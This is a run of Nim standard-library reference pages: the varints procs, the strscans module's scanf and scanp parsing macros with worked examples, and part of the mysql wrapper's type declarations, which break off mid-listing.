[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/varints.nim#L16) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/varints.nim#L16) Procs ----- ``` proc readVu64(z: openArray[byte]; pResult: var uint64): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/varints.nim#L18) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/varints.nim#L18) ``` proc writeVu64(z: var openArray[byte]; x: uint64): int {...}{.raises: [], tags: [].} ``` Write a varint into z. The buffer z must be at least 9 characters long to accommodate the largest possible varint. Returns the number of bytes used. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/varints.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/varints.nim#L57) ``` proc encodeZigzag(x: int64): uint64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/varints.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/varints.nim#L116) ``` proc decodeZigzag(x: uint64): int64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/varints.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/varints.nim#L119)
programming_docs
nim strscans strscans ======== This module contains a scanf macro that can be used for extracting substrings from an input string. This is often easier than regular expressions. Some examples as an appetizer: ``` # check if input string matches a triple of integers: const input = "(1,2,4)" var x, y, z: int if scanf(input, "($i,$i,$i)", x, y, z): echo "matches and x is ", x, " y is ", y, " z is ", z # check if input string matches an ISO date followed by an identifier followed # by whitespace and a floating point number: var year, month, day: int var identifier: string var myfloat: float if scanf(input, "$i-$i-$i $w$s$f", year, month, day, identifier, myfloat): echo "yes, we have a match!" ``` As can be seen from the examples, strings are matched verbatim except for substrings starting with `$`. These constructions are available: | | | | --- | --- | | `$b` | Matches a binary integer. This uses `parseutils.parseBin`. | | `$o` | Matches an octal integer. This uses `parseutils.parseOct`. | | `$i` | Matches a decimal integer. This uses `parseutils.parseInt`. | | `$h` | Matches a hex integer. This uses `parseutils.parseHex`. | | `$f` | Matches a floating pointer number. Uses `parseFloat`. | | `$w` | Matches an ASCII identifier: `[A-Za-z_][A-Za-z_0-9]*`. | | `$s` | Skips optional whitespace. | | `$$` | Matches a single dollar sign. | | `$.` | Matches if the end of the input string has been reached. | | `$*` | Matches until the token following the `$*` was found. The match is allowed to be of 0 length. | | `$+` | Matches until the token following the `$+` was found. The match must consist of at least one char. | | `${foo}` | User defined matcher. Uses the proc `foo` to perform the match. See below for more details. | | `$[foo]` | Call user defined proc `foo` to **skip** some optional parts in the input string. See below for more details. | Even though `$*` and `$+` look similar to the regular expressions `.*` and `.+` they work quite differently, there is no non-deterministic state machine involved and the matches are non-greedy. `[$*]` matches `[xyz]` via `parseutils.parseUntil`. Furthermore no backtracking is performed, if parsing fails after a value has already been bound to a matched subexpression this value is not restored to its original value. This rarely causes problems in practice and if it does for you, it's easy enough to bind to a temporary variable first. Startswith vs full match ------------------------ `scanf` returns true if the input string **starts with** the specified pattern. If instead it should only return true if there is also nothing left in the input, append `$.` to your pattern. User definable matchers ----------------------- One very nice advantage over regular expressions is that `scanf` is extensible with ordinary Nim procs. The proc is either enclosed in `${}` or in `$[]`. `${}` matches and binds the result to a variable (that was passed to the `scanf` macro) while `$[]` merely matches optional tokens without any result binding. In this example, we define a helper proc `someSep` that skips some separators which we then use in our scanf pattern to help us in the matching process: ``` proc someSep(input: string; start: int; seps: set[char] = {':','-','.'}): int = # Note: The parameters and return value must match to what ``scanf`` requires result = 0 while start+result < input.len and input[start+result] in seps: inc result if scanf(input, "$w$[someSep]$w", key, value): ... ``` It also possible to pass arguments to a user definable matcher: ``` proc ndigits(input: string; intVal: var int; start: int; n: int): int = # matches exactly ``n`` digits. Matchers need to return 0 if nothing # matched or otherwise the number of processed chars. var x = 0 var i = 0 while i < n and i+start < input.len and input[i+start] in {'0'..'9'}: x = x * 10 + input[i+start].ord - '0'.ord inc i # only overwrite if we had a match if i == n: result = n intVal = x # match an ISO date extracting year, month, day at the same time. # Also ensure the input ends after the ISO date: var year, month, day: int if scanf("2013-01-03", "${ndigits(4)}-${ndigits(2)}-${ndigits(2)}$.", year, month, day): ... ``` The scanp macro --------------- This module also implements a `scanp` macro, which syntax somewhat resembles an EBNF or PEG grammar, except that it uses Nim's expression syntax and so has to use prefix instead of postfix operators. | | | | --- | --- | | `(E)` | Grouping | | `*E` | Zero or more | | `+E` | One or more | | `?E` | Zero or One | | `E{n,m}` | From `n` up to `m` times `E` | | `~E` | Not predicate | | `a ^* b` | Shortcut for `?(a *(b a))`. Usually used for separators. | | `a ^+ b` | Shortcut for `?(a +(b a))`. Usually used for separators. | | `'a'` | Matches a single character | | `{'a'..'b'}` | Matches a character set | | `"s"` | Matches a string | | `E -> a` | Bind matching to some action | | `$_` | Access the currently matched character | Note that unordered or ordered choice operators (`/`, `|`) are not implemented. Simple example that parses the `/etc/passwd` file line by line: ``` const etc_passwd = """root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh messagebus:x:103:107::/var/run/dbus:/bin/false """ proc parsePasswd(content: string): seq[string] = result = @[] var idx = 0 while true: var entry = "" if scanp(content, idx, +(~{'\L', '\0'} -> entry.add($_)), '\L'): result.add entry else: break ``` The `scanp` maps the grammar code into Nim code that performs the parsing. The parsing is performed with the help of 3 helper templates that that can be implemented for a custom type. These templates need to be named `atom` and `nxt`. `atom` should be overloaded to handle both single characters and sets of character. ``` import streams template atom(input: Stream; idx: int; c: char): bool = ## Used in scanp for the matching of atoms (usually chars). peekChar(input) == c template atom(input: Stream; idx: int; s: set[char]): bool = peekChar(input) in s template nxt(input: Stream; idx, step: int = 1) = inc(idx, step) setPosition(input, idx) if scanp(content, idx, +( ~{'\L', '\0'} -> entry.add(peekChar($input))), '\L'): result.add entry ``` Calling ordinary Nim procs inside the macro is possible: ``` proc digits(s: string; intVal: var int; start: int): int = var x = 0 while result+start < s.len and s[result+start] in {'0'..'9'} and s[result+start] != ':': x = x * 10 + s[result+start].ord - '0'.ord inc result intVal = x proc extractUsers(content: string): seq[string] = # Extracts the username and home directory # of each entry (with UID greater than 1000) const digits = {'0'..'9'} result = @[] var idx = 0 while true: var login = "" var uid = 0 var homedir = "" if scanp(content, idx, *(~ {':', '\0'}) -> login.add($_), ':', * ~ ':', ':', digits($input, uid, $index), ':', *`digits`, ':', * ~ ':', ':', *('/', * ~{':', '/'}) -> homedir.add($_), ':', *('/', * ~{'\L', '/'}), '\L'): if uid >= 1000: result.add login & " " & homedir else: break ``` When used for matching, keep in mind that likewise scanf, no backtracking is performed. ``` proc skipUntil(s: string; until: string; unless = '\0'; start: int): int = # Skips all characters until the string `until` is found. Returns 0 # if the char `unless` is found first or the end is reached. var i = start var u = 0 while true: if i >= s.len or s[i] == unless: return 0 elif s[i] == until[0]: u = 1 while i+u < s.len and u < until.len and s[i+u] == until[u]: inc u if u >= until.len: break inc(i) result = i+u-start iterator collectLinks(s: string): string = const quote = {'\'', '"'} var idx, old = 0 var res = "" while idx < s.len: old = idx if scanp(s, idx, "<a", skipUntil($input, "href=", '>', $index), `quote`, *( ~`quote`) -> res.add($_)): yield res res = "" idx = old + 1 for r in collectLinks(body): echo r ``` In this example both macros are combined seamlessly in order to maximise efficiency and perform different checks. ``` iterator parseIps*(soup: string): string = ## ipv4 only! const digits = {'0'..'9'} var a, b, c, d: int var buf = "" var idx = 0 while idx < soup.len: if scanp(soup, idx, (`digits`{1,3}, '.', `digits`{1,3}, '.', `digits`{1,3}, '.', `digits`{1,3}) -> buf.add($_)): discard buf.scanf("$i.$i.$i.$i", a, b, c, d) if (a >= 0 and a <= 254) and (b >= 0 and b <= 254) and (c >= 0 and c <= 254) and (d >= 0 and d <= 254): yield buf buf.setLen(0) # need to clear `buf` each time, cause it might contain garbage idx.inc ``` Imports ------- <macros>, <parseutils> Macros ------ ``` macro scanf(input: string; pattern: static[string]; results: varargs[typed]): bool ``` See top level documentation of this module about how `scanf` works. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L310) ``` macro scanp(input, idx: typed; pattern: varargs[untyped]): bool ``` See top level documentation of this module about how `scanp` works. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L476) Templates --------- ``` template atom(input: string; idx: int; c: char): bool ``` Used in scanp for the matching of atoms (usually chars). EOF is matched as `'\0'`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L461) ``` template atom(input: string; idx: int; s: set[char]): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L466) ``` template hasNxt(input: string; idx: int): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L469) ``` template success(x: int): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L472) ``` template nxt(input: string; idx, step: int = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strscans.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strscans.nim#L474) nim mysql mysql ===== Types ----- ``` my_bool = bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L25) ``` Pmy_bool = ptr my_bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L26) ``` PVIO = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L27) ``` Pgptr = ptr gptr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L28) ``` gptr = cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L29) ``` Pmy_socket = ptr my_socket ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L30) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L30) ``` my_socket = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L31) ``` PPByte = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L32) ``` cuint = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L33) ``` Enum_server_command = enum COM_SLEEP, COM_QUIT, COM_INIT_DB, COM_QUERY, COM_FIELD_LIST, COM_CREATE_DB, COM_DROP_DB, COM_REFRESH, COM_SHUTDOWN, COM_STATISTICS, COM_PROCESS_INFO, COM_CONNECT, COM_PROCESS_KILL, COM_DEBUG, COM_PING, COM_TIME, COM_DELAYED_INSERT, COM_CHANGE_USER, COM_BINLOG_DUMP, COM_TABLE_DUMP, COM_CONNECT_OUT, COM_REGISTER_SLAVE, COM_STMT_PREPARE, COM_STMT_EXECUTE, COM_STMT_SEND_LONG_DATA, COM_STMT_CLOSE, COM_STMT_RESET, COM_SET_OPTION, COM_STMT_FETCH, COM_END ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L55) ``` Pst_net = ptr St_net ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L155) ``` St_net {...}{.final.} = object vio*: PVIO buff*: cstring buff_end*: cstring write_pos*: cstring read_pos*: cstring fd*: my_socket max_packet*: int max_packet_size*: int pkt_nr*: cuint compress_pkt_nr*: cuint write_timeout*: cuint read_timeout*: cuint retry_count*: cuint fcntl*: cint compress*: my_bool remain_in_buf*: int len*: int buf_length*: int where_b*: int return_status*: ptr cint reading_or_writing*: char save_char*: cchar no_send_ok*: my_bool no_send_eof*: my_bool no_send_error*: my_bool last_error*: array[0 .. 200 - 1, char] sqlstate*: array[0 .. 6 - 1, char] last_errno*: cuint error*: char query_cache_query*: gptr report_error*: my_bool return_errno*: my_bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L156) ``` NET = St_net ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L196) ``` PNET = ptr NET ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L197) ``` Enum_field_types = enum TYPE_DECIMAL, TYPE_TINY, TYPE_SHORT, TYPE_LONG, TYPE_FLOAT, TYPE_DOUBLE, TYPE_NULL, TYPE_TIMESTAMP, TYPE_LONGLONG, TYPE_INT24, TYPE_DATE, TYPE_TIME, TYPE_DATETIME, TYPE_YEAR, TYPE_NEWDATE, TYPE_VARCHAR, TYPE_BIT, TYPE_NEWDECIMAL = 246, TYPE_ENUM = 247, TYPE_SET = 248, TYPE_TINY_BLOB = 249, TYPE_MEDIUM_BLOB = 250, TYPE_LONG_BLOB = 251, TYPE_BLOB = 252, TYPE_VAR_STRING = 253, TYPE_STRING = 254, TYPE_GEOMETRY = 255 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L204) ``` Enum_shutdown_level = enum SHUTDOWN_DEFAULT = 0, SHUTDOWN_WAIT_CONNECTIONS = 1, SHUTDOWN_WAIT_TRANSACTIONS = 2, SHUTDOWN_WAIT_UPDATES = 8, SHUTDOWN_WAIT_ALL_BUFFERS = 16, SHUTDOWN_WAIT_CRITICAL_BUFFERS = 17, KILL_QUERY = 254, KILL_CONNECTION = 255 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L251) ``` Enum_cursor_type = enum CURSOR_TYPE_NO_CURSOR = 0, CURSOR_TYPE_READ_ONLY = 1, CURSOR_TYPE_FOR_UPDATE = 2, CURSOR_TYPE_SCROLLABLE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L256) ``` Enum_mysql_set_option = enum OPTION_MULTI_STATEMENTS_ON, OPTION_MULTI_STATEMENTS_OFF ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L259) ``` Psockaddr = ptr Sockaddr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L285) ``` Sockaddr {...}{.final.} = object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L286) ``` Prand_struct = ptr Rand_struct ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L292) ``` Rand_struct {...}{.final.} = object seed1*: int seed2*: int max_value*: int max_value_dbl*: cdouble ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L293) ``` Item_result = enum STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT, DECIMAL_RESULT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L299) ``` PItem_result = ptr Item_result ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L301) ``` Pst_udf_args = ptr St_udf_args ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L302) ``` St_udf_args {...}{.final.} = object arg_count*: cuint arg_type*: PItem_result args*: cstringArray lengths*: ptr int maybe_null*: cstring attributes*: cstringArray attribute_lengths*: ptr int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L303) ``` UDF_ARGS = St_udf_args ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L312) ``` PUDF_ARGS = ptr UDF_ARGS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L313) ``` Pst_udf_init = ptr St_udf_init ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L314) ``` St_udf_init {...}{.final.} = object maybe_null*: my_bool decimals*: cuint max_length*: int theptr*: cstring const_item*: my_bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L315) ``` UDF_INIT = St_udf_init ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L322) ``` PUDF_INIT = ptr UDF_INIT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L323) ``` Pst_mysql_field = ptr St_mysql_field ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L400) ``` St_mysql_field {...}{.final.} = object name*: cstring org_name*: cstring table*: cstring org_table*: cstring db*: cstring catalog*: cstring def*: cstring len*: int max_length*: int name_length*: cuint org_name_length*: cuint table_length*: cuint org_table_length*: cuint db_length*: cuint catalog_length*: cuint def_length*: cuint flags*: cuint decimals*: cuint charsetnr*: cuint ftype*: Enum_field_types extension*: pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L401) ``` FIELD = St_mysql_field ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L424) ``` PFIELD = ptr FIELD ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L425) ``` PROW = ptr ROW ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L426) ``` ROW = cstringArray ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L427) ``` PFIELD_OFFSET = ptr FIELD_OFFSET ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L428) ``` FIELD_OFFSET = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L429) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L429) ``` my_ulonglong = int64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L440) ``` Pmy_ulonglong = ptr my_ulonglong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L441) ``` Pst_mysql_rows = ptr St_mysql_rows ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L447) ``` St_mysql_rows {...}{.final.} = object next*: Pst_mysql_rows data*: ROW len*: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L448) ``` ROWS = St_mysql_rows ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L453) ``` PROWS = ptr ROWS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L454) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L454) ``` PROW_OFFSET = ptr ROW_OFFSET ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L455) ``` ROW_OFFSET = ROWS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L456) ``` Pst_used_mem = ptr St_used_mem ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L465) ``` St_used_mem {...}{.final.} = object next*: Pst_used_mem left*: cuint size*: cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L466) ``` USED_MEM = St_used_mem ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L471) ``` PUSED_MEM = ptr USED_MEM ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L472) ``` Pst_mem_root = ptr St_mem_root ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L473) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L473) ``` St_mem_root {...}{.final.} = object free*: PUSED_MEM used*: PUSED_MEM pre_alloc*: PUSED_MEM min_malloc*: cuint block_size*: cuint block_num*: cuint first_block_usage*: cuint error_handler*: proc () {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L474) ``` MEM_ROOT = St_mem_root ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L486) ``` PMEM_ROOT = ptr MEM_ROOT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L487) ``` Pst_mysql_data = ptr St_mysql_data ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L492) ``` St_mysql_data {...}{.final.} = object rows*: my_ulonglong fields*: cuint data*: PROWS alloc*: MEM_ROOT prev_ptr*: ptr PROWS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L493) ``` DATA = St_mysql_data ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L500) ``` PDATA = ptr DATA ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L501) ``` Option = enum OPT_CONNECT_TIMEOUT, OPT_COMPRESS, OPT_NAMED_PIPE, INIT_COMMAND, READ_DEFAULT_FILE, READ_DEFAULT_GROUP, SET_CHARSET_DIR, SET_CHARSET_NAME, OPT_LOCAL_INFILE, OPT_PROTOCOL, SHARED_MEMORY_BASE_NAME, OPT_READ_TIMEOUT, OPT_WRITE_TIMEOUT, OPT_USE_RESULT, OPT_USE_REMOTE_CONNECTION, OPT_USE_EMBEDDED_CONNECTION, OPT_GUESS_CONNECTION, SET_CLIENT_IP, SECURE_AUTH, REPORT_DATA_TRUNCATION, OPT_RECONNECT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L502) ``` St_dynamic_array {...}{.final.} = object buffer*: cstring elements*: cuint max_element*: cuint alloc_increment*: cuint size_of_element*: cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L521) ``` DYNAMIC_ARRAY = St_dynamic_array ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L528) ``` Pst_dynamic_array = ptr St_dynamic_array ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L529) ``` Pst_mysql_options = ptr St_mysql_options ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L530) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L530) ``` St_mysql_options {...}{.final.} = object connect_timeout*: cuint read_timeout*: cuint write_timeout*: cuint port*: cuint protocol*: cuint client_flag*: int host*: cstring user*: cstring password*: cstring unix_socket*: cstring db*: cstring init_commands*: Pst_dynamic_array my_cnf_file*: cstring my_cnf_group*: cstring charset_dir*: cstring charset_name*: cstring ssl_key*: cstring ssl_cert*: cstring ssl_ca*: cstring ssl_capath*: cstring ssl_cipher*: cstring shared_memory_base_name*: cstring max_allowed_packet*: int use_ssl*: my_bool compress*: my_bool named_pipe*: my_bool rpl_probe*: my_bool rpl_parse*: my_bool no_master_reads*: my_bool separate_thread*: my_bool methods_to_use*: Option client_ip*: cstring secure_auth*: my_bool report_data_truncation*: my_bool local_infile_init*: proc (para1: var pointer; para2: cstring; para3: pointer): cint {...}{. cdecl.} local_infile_read*: proc (para1: pointer; para2: cstring; para3: cuint): cint local_infile_end*: proc (para1: pointer) local_infile_error*: proc (para1: pointer; para2: cstring; 